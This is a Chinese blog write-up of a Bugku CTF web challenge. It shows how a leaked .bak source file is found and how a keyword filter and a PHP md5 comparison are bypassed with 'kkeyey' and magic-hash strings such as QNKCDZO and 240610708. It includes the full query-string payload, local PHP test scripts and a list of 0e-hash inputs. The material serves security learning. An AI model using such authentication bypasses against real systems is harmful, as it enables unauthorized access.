欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

bugku 备份是个好习惯

程序员文章站 2022-03-05 13:53:30
...

备份是个好习惯

80

http://120.24.86.145:8002/web16/

听说备份是个好习惯

 

 1  进入页面就是两个空字符的md5编码,查看源代码,查看元素,无果

 2  用bp抓包,无果

无从下手,用御剑扫描了一下

bugku 备份是个好习惯

.bak是备份文件的扩展名,访问http://120.24.86.145:8002/web16/index.php.bak

下载文件,去掉文件扩展名中的.bak,打开文件,查看源代码

bugku 备份是个好习惯

分析源代码:

11行strstr获得URI从'?'往后(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替换为空,可以使用类似这样的语句:kkeyey 处理,14行parse_str把字符串解析到变量中。最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过,具体原理可以看这里:

https://*.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo

构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708

 

 

new1.php:

<?php
$key1=$_GET['key1'];
$key2=$_GET['key2'];
if(md5($key1)==md5($key2))
echo 'md5equal'.' '.md5($key1).' '.md5($key2);
if($key1==$key2)
echo '==equal';
if($key1===$key2)
echo '===equal';
?>

http://localhost/test/new1.php?key1=QNKCDZO&key2=240610708

返回结果:

md5equal 0e830400451993494058024219903391 0e462097431906509019562988736854

php判断md5相等(==)的,md5('QNKCDZO')为0e830400451993494058024219903391,md5('240610708')为0e4620974319065090195629887368540,但md5('QNKCDZO')==md5('240610708')却返回true,

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

http://localhost/test/new1.php?key1=608E-4234&key2=272E-3063

返回结果:

==equal

由返回结果知md5('608E-4234')==md5('272E-3063')返回false,但'608E-4234'==''272E-3063'返回true

new1.php:

<?php
$key1=$_GET['key1'];
$key2=$_GET['key2'];
if(md5($key1)==md5($key2))
echo 'md5equal'.' '.md5($key1).' '.md5($key2);
if($key1==$key2)
echo '==equal'.' '.md5($key1).'***';
if($key1===$key2)
echo '===equal';
if(608E-4234==272E-3063)
echo '1'.'*';
if('608E-4234'=='272E-3063')
echo '2'.'*';
if("608E-4234"=="272E-3063")
echo '3'.'*';
if(md5('608E-4234')==md5("608E-4234"))
echo '5'.'*';
echo md5(608E-4234).'****';
echo md5("608E-4234")
?>

http://localhost/test/new1.php?key1=608E-4234&key2=272E-3063

返回结果:

==equal f42466941e8edf94e286d0207b571162***1*2*3*5*cfcd208495d565ef66e7dff9f98764da****f42466941e8edf94e286d0207b571162

所以md5($key1)=md5('608E-4234')

参考:https://*.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo

https://*.com/questions/12598407/php-expresses-two-different-strings-to-be-the-same

https://*.com/questions/80646/how-do-the-php-equality-double-equals-and-identity-triple-equals-comp

https://blog.csdn.net/eustiasora/article/details/79149411

https://blog.csdn.net/zpy1998zpy/article/details/80582974